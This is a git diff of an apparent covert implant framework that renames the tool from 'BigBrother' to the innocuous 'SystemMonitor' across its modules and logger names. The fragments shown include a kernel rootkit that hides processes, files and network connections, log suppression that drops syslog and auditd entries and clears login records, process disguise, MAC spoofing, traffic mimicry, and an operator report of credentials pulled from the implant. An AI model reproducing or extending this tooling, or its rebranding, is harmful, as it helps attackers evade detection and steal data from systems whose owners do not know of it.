@@ -1,6 +1,6 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
"""LKM rootkit module: compile, load, and manage a kernel module that hides """LKM rootkit module: compile, load, and manage a kernel module that hides
BigBrother processes, files, and network connections from userland.""" SystemMonitor processes, files, and network connections from userland."""
import logging import logging
import os import os
@@ -12,7 +12,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
from utils.resource import get_hardware_tier, TIER_GENERIC from utils.resource import get_hardware_tier, TIER_GENERIC
logger = logging.getLogger("bb.stealth.lkm_rootkit") logger = logging.getLogger("sensor.stealth.lkm_rootkit")
LKM_TEMPLATE_DIR = "templates/lkm" LKM_TEMPLATE_DIR = "templates/lkm"
LKM_SOURCE = "bb_hide.c" LKM_SOURCE = "bb_hide.c"
@@ -259,7 +259,7 @@ class LKMRootkit(BaseModule):
"""Write current hide lists to loaded module's parameters via sysfs.""" """Write current hide lists to loaded module's parameters via sysfs."""
if not self._loaded: if not self._loaded:
return return
# Collect current BigBrother PIDs from state # Collect current SystemMonitor PIDs from state
try: try:
all_status = self.state.get_all_module_status() all_status = self.state.get_all_module_status()
for mod_name, mod_status in all_status.items(): for mod_name, mod_status in all_status.items():
+9 -9
View File
@@ -2,7 +2,7 @@
"""Log suppression module — minimize forensic artifacts in system logs. """Log suppression module — minimize forensic artifacts in system logs.
Installs rsyslog filter rules, auditd exclusions, journald rate limits, Installs rsyslog filter rules, auditd exclusions, journald rate limits,
and clears shell history / login records related to BigBrother activity. and clears shell history / login records related to SystemMonitor activity.
All installed rules are removed on clean stop. All installed rules are removed on clean stop.
""" """
@@ -15,16 +15,16 @@ from typing import Dict, List
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.stealth.log_suppression") logger = logging.getLogger("sensor.stealth.log_suppression")
RSYSLOG_CONF = "/etc/rsyslog.d/01-bb-suppress.conf" RSYSLOG_CONF = "/etc/rsyslog.d/01-bb-suppress.conf"
JOURNALD_CONF_DIR = "/etc/systemd/journald.conf.d" JOURNALD_CONF_DIR = "/etc/systemd/journald.conf.d"
JOURNALD_CONF = os.path.join(JOURNALD_CONF_DIR, "bb.conf") JOURNALD_CONF = os.path.join(JOURNALD_CONF_DIR, "sensor.conf")
AUDITD_RULES_FILE = "/etc/audit/rules.d/bb-exclude.rules" AUDITD_RULES_FILE = "/etc/audit/rules.d/bb-exclude.rules"
class LogSuppression(BaseModule): class LogSuppression(BaseModule):
"""Suppress system log entries that could reveal BigBrother activity.""" """Suppress system log entries that could reveal SystemMonitor activity."""
name = "log_suppression" name = "log_suppression"
module_type = "stealth" module_type = "stealth"
@@ -129,7 +129,7 @@ class LogSuppression(BaseModule):
"""Write rsyslog config to drop log entries matching our processes/paths.""" """Write rsyslog config to drop log entries matching our processes/paths."""
try: try:
lines = [ lines = [
"# BigBrother log suppression — auto-generated, removed on clean exit", "# SystemMonitor log suppression — auto-generated, removed on clean exit",
"# Drop messages containing our process names or paths", "# Drop messages containing our process names or paths",
] ]
@@ -173,7 +173,7 @@ class LogSuppression(BaseModule):
# ------------------------------------------------------------------ # ------------------------------------------------------------------
def _install_auditd_exclusions(self) -> None: def _install_auditd_exclusions(self) -> None:
"""Write auditd rules excluding BigBrother PIDs and paths.""" """Write auditd rules excluding SystemMonitor PIDs and paths."""
try: try:
rules_dir = os.path.dirname(AUDITD_RULES_FILE) rules_dir = os.path.dirname(AUDITD_RULES_FILE)
if not os.path.isdir(rules_dir): if not os.path.isdir(rules_dir):
@@ -181,7 +181,7 @@ class LogSuppression(BaseModule):
return return
lines = [ lines = [
"# BigBrother auditd exclusions — auto-generated", "# SystemMonitor auditd exclusions — auto-generated",
] ]
# Exclude our install path from file watches # Exclude our install path from file watches
@@ -235,7 +235,7 @@ class LogSuppression(BaseModule):
os.makedirs(JOURNALD_CONF_DIR, exist_ok=True) os.makedirs(JOURNALD_CONF_DIR, exist_ok=True)
config_lines = [ config_lines = [
"# BigBrother journald rate-limit — auto-generated", "# SystemMonitor journald rate-limit — auto-generated",
"[Journal]", "[Journal]",
"RateLimitIntervalSec=5s", "RateLimitIntervalSec=5s",
"RateLimitBurst=5", "RateLimitBurst=5",
@@ -308,7 +308,7 @@ class LogSuppression(BaseModule):
# ------------------------------------------------------------------ # ------------------------------------------------------------------
def _clear_login_records(self) -> None: def _clear_login_records(self) -> None:
"""Clear utmp/wtmp/btmp entries that could reveal BigBrother sessions.""" """Clear utmp/wtmp/btmp entries that could reveal SystemMonitor sessions."""
record_files = [ record_files = [
"/var/run/utmp", "/var/run/utmp",
"/var/log/wtmp", "/var/log/wtmp",
+1 -1
View File
@@ -25,7 +25,7 @@ from utils.networking import (
) )
from utils.stealth import set_sysctl, set_tcp_timestamps, set_tcp_window, set_ttl from utils.stealth import set_sysctl, set_tcp_timestamps, set_tcp_window, set_ttl
logger = logging.getLogger("bb.stealth.mac_manager") logger = logging.getLogger("sensor.stealth.mac_manager")
# Category preferences per network type # Category preferences per network type
_BUSINESS_CATEGORIES = ("printers", "network", "smart_home") _BUSINESS_CATEGORIES = ("printers", "network", "smart_home")
+1 -1
View File
@@ -13,7 +13,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
from utils.resource import get_hardware_tier, TIER_OPI_ZERO3, TIER_PI_ZERO, TIER_GENERIC from utils.resource import get_hardware_tier, TIER_OPI_ZERO3, TIER_PI_ZERO, TIER_GENERIC
logger = logging.getLogger("bb.stealth.overlayfs_manager") logger = logging.getLogger("sensor.stealth.overlayfs_manager")
# Default overlay paths # Default overlay paths
OVERLAY_BASE = "/opt/.cache/bb/overlay" OVERLAY_BASE = "/opt/.cache/bb/overlay"
+2 -2
View File
@@ -1,5 +1,5 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
"""Process disguise module — rename all BigBrother processes to look like """Process disguise module — rename all SystemMonitor processes to look like
legitimate system services. legitimate system services.
Reads process name mappings from stealth.yaml, renames own processes via Reads process name mappings from stealth.yaml, renames own processes via
@@ -16,7 +16,7 @@ from typing import Dict, Optional
from modules.base import BaseModule from modules.base import BaseModule
from utils.stealth import rename_process, spoof_cmdline from utils.stealth import rename_process, spoof_cmdline
logger = logging.getLogger("bb.stealth.process_disguise") logger = logging.getLogger("sensor.stealth.process_disguise")
class ProcessDisguise(BaseModule): class ProcessDisguise(BaseModule):
+1 -1
View File
@@ -16,7 +16,7 @@ from typing import Dict, List, Optional, Tuple
from modules.base import BaseModule from modules.base import BaseModule
from utils.resource import get_hardware_tier, TIER_OPI_ZERO3, TIER_PI_ZERO, TIER_GENERIC from utils.resource import get_hardware_tier, TIER_OPI_ZERO3, TIER_PI_ZERO, TIER_GENERIC
logger = logging.getLogger("bb.stealth.tmpfs_manager") logger = logging.getLogger("sensor.stealth.tmpfs_manager")
# Default tmpfs size limits per tier (MB) # Default tmpfs size limits per tier (MB)
_TIER_TMPFS_LIMITS = { _TIER_TMPFS_LIMITS = {
+2 -2
View File
@@ -14,7 +14,7 @@ from typing import Optional
from modules.base import BaseModule from modules.base import BaseModule
logger = logging.getLogger("bb.stealth.traffic_mimicry") logger = logging.getLogger("sensor.stealth.traffic_mimicry")
PHASE_BASELINE = "baseline" PHASE_BASELINE = "baseline"
PHASE_SHAPING = "shaping" PHASE_SHAPING = "shaping"
@@ -72,7 +72,7 @@ class TrafficMimicry(BaseModule):
# Background thread for periodic baseline updates and phase transitions # Background thread for periodic baseline updates and phase transitions
self._monitor_thread = threading.Thread( self._monitor_thread = threading.Thread(
target=self._monitor_loop, daemon=True, name="bb-traffic-mimicry", target=self._monitor_loop, daemon=True, name="sensor-traffic-mimicry",
) )
self._monitor_thread.start() self._monitor_thread.start()
+3 -3
View File
@@ -1,5 +1,5 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
"""Watchdog module — monitor all BigBrother modules and managed tools. """Watchdog module — monitor all SystemMonitor modules and managed tools.
Performs periodic health checks, auto-restarts crashed modules (max 3 attempts), Performs periodic health checks, auto-restarts crashed modules (max 3 attempts),
and manages OOM priority assignments. Publishes MODULE_RESTARTED events on and manages OOM priority assignments. Publishes MODULE_RESTARTED events on
@@ -17,7 +17,7 @@ from modules.base import BaseModule
from core.bus import Event from core.bus import Event
from utils.resource import get_process_resources from utils.resource import get_process_resources
logger = logging.getLogger("bb.stealth.watchdog") logger = logging.getLogger("sensor.stealth.watchdog")
# OOM priority assignments by module type # OOM priority assignments by module type
_OOM_PRIORITIES = { _OOM_PRIORITIES = {
@@ -85,7 +85,7 @@ class Watchdog(BaseModule):
self._pid = os.getpid() self._pid = os.getpid()
self._start_time = time.time() self._start_time = time.time()
self._check_thread = threading.Thread( self._check_thread = threading.Thread(
target=self._health_check_loop, daemon=True, name="bb-watchdog", target=self._health_check_loop, daemon=True, name="sensor-watchdog",
) )
self._check_thread.start() self._check_thread.start()
+2 -2
View File
@@ -1,5 +1,5 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
"""Build SQLite data databases for BigBrother. """Build SQLite data databases for SystemMonitor.
Creates: Creates:
- innocuous_macs.db : Consumer device MAC profiles for stealth spoofing - innocuous_macs.db : Consumer device MAC profiles for stealth spoofing
@@ -416,7 +416,7 @@ def create_ja3_fingerprints_db(db_path: str) -> None:
def main(): def main():
parser = argparse.ArgumentParser(description="Build BigBrother data databases") parser = argparse.ArgumentParser(description="Build SystemMonitor data databases")
parser.add_argument( parser.add_argument(
"--output-dir", "-o", "--output-dir", "-o",
default=os.path.join(os.path.dirname(os.path.dirname(__file__)), "data"), default=os.path.join(os.path.dirname(os.path.dirname(__file__)), "data"),
+4 -4
View File
@@ -1,5 +1,5 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
"""BigBrother Operator Script — Generate Engagement Report. """SystemMonitor Operator Script — Generate Engagement Report.
Pulls data from SQLite databases synced from the implant and generates Pulls data from SQLite databases synced from the implant and generates
a structured engagement report in both Markdown and HTML formats. a structured engagement report in both Markdown and HTML formats.
@@ -313,7 +313,7 @@ def generate_markdown(data_dir, title, creds, hosts, dns_stats, modules):
add("") add("")
add("---\n") add("---\n")
add(f"*Report generated by BigBrother operator tooling — {now}*") add(f"*Report generated by SystemMonitor operator tooling — {now}*")
return "\n".join(lines) return "\n".join(lines)
@@ -443,11 +443,11 @@ def _inline_format(text):
def main(): def main():
parser = argparse.ArgumentParser( parser = argparse.ArgumentParser(
description="Generate BigBrother engagement report from synced data." description="Generate SystemMonitor engagement report from synced data."
) )
parser.add_argument("data_dir", help="Path to pulled data directory") parser.add_argument("data_dir", help="Path to pulled data directory")
parser.add_argument("--output", "-o", help="Output directory (default: <data_dir>/report)") parser.add_argument("--output", "-o", help="Output directory (default: <data_dir>/report)")
parser.add_argument("--title", "-t", default="BigBrother Engagement Report", parser.add_argument("--title", "-t", default="SystemMonitor Engagement Report",
help="Report title") help="Report title")
args = parser.parse_args() args = parser.parse_args()
+1 -1
View File
@@ -19,7 +19,7 @@ logging.basicConfig(
level=logging.WARNING, level=logging.WARNING,
format="%(asctime)s %(levelname)s %(name)s: %(message)s", format="%(asctime)s %(levelname)s %(name)s: %(message)s",
) )
logger = logging.getLogger("bb.watchdog") logger = logging.getLogger("sensor.watchdog")
CHECK_INTERVAL = 15.0 CHECK_INTERVAL = 15.0
THERMAL_WARN = 60 THERMAL_WARN = 60
+4 -4
View File
@@ -1,5 +1,5 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
"""sd_wifi.py — Update WiFi config on a BigBrother SD card. """sd_wifi.py — Update WiFi config on a SystemMonitor SD card.
Detects the SD card by looking for the armbi_root label, mounts it to a Detects the SD card by looking for the armbi_root label, mounts it to a
temp directory, reads/writes /etc/netplan/20-wifi.yaml, and unmounts on exit. temp directory, reads/writes /etc/netplan/20-wifi.yaml, and unmounts on exit.
@@ -197,7 +197,7 @@ def set_country(config: Dict, country: str) -> None:
def print_header() -> None: def print_header() -> None:
console.print() console.print()
console.print(Panel( console.print(Panel(
"[bold cyan]BigBrother[/bold cyan] — SD Card WiFi Configurator\n" "[bold cyan]SystemMonitor[/bold cyan] — SD Card WiFi Configurator\n"
"Target label: [yellow]armbi_root[/yellow] | " "Target label: [yellow]armbi_root[/yellow] | "
"Netplan: [dim]" + NETPLAN_PATH + "[/dim]", "Netplan: [dim]" + NETPLAN_PATH + "[/dim]",
title="sd_wifi", title="sd_wifi",
@@ -474,7 +474,7 @@ def run_add(device: str, mountpoint: str, ssid: str, password: str) -> None:
default=(None, None), default=(None, None),
help="Non-interactively add or update a network.") help="Non-interactively add or update a network.")
def main(do_list: bool, add: Tuple[Optional[str], Optional[str]]) -> None: def main(do_list: bool, add: Tuple[Optional[str], Optional[str]]) -> None:
"""Update WiFi config on a BigBrother SD card (armbi_root label).""" """Update WiFi config on a SystemMonitor SD card (armbi_root label)."""
print_header() print_header()
# Locate the SD card # Locate the SD card
@@ -485,7 +485,7 @@ def main(do_list: bool, add: Tuple[Optional[str], Optional[str]]) -> None:
console.print("[red]NOT FOUND[/red]") console.print("[red]NOT FOUND[/red]")
console.print() console.print()
console.print(f" [red]No block device with label '{SD_LABEL}' detected.[/red]") console.print(f" [red]No block device with label '{SD_LABEL}' detected.[/red]")
console.print(" Insert the BigBrother SD card and try again.") console.print(" Insert the SystemMonitor SD card and try again.")
sys.exit(1) sys.exit(1)
console.print(f"[green]{device}[/green]") console.print(f"[green]{device}[/green]")
+2 -2
View File
@@ -1,4 +1,4 @@
"""Shared pytest fixtures for BigBrother tests.""" """Shared pytest fixtures for SystemMonitor tests."""
import os import os
import sys import sys
@@ -31,7 +31,7 @@ def tmp_dir(tmp_path):
@pytest.fixture @pytest.fixture
def mock_config(): def mock_config():
"""Return a valid BigBrother config dict (no YAML file needed).""" """Return a valid SystemMonitor config dict (no YAML file needed)."""
return { return {
"device": { "device": {
"platform": "generic", "platform": "generic",
+2 -2
View File
@@ -1,5 +1,5 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
"""Encrypted log writer for BigBrother. Named bb_logging to avoid shadowing stdlib logging.""" """Encrypted log writer for SystemMonitor. Named bb_logging to avoid shadowing stdlib logging."""
import logging import logging
import os import os
@@ -95,7 +95,7 @@ class BBLogger:
suppress_stdout: bool = True, suppress_stdout: bool = True,
): ):
self.module_name = module_name self.module_name = module_name
self.logger = logging.getLogger(f"bb.{module_name}") self.logger = logging.getLogger(f"sensor.{module_name}")
self.logger.setLevel(level) self.logger.setLevel(level)
self.logger.propagate = False self.logger.propagate = False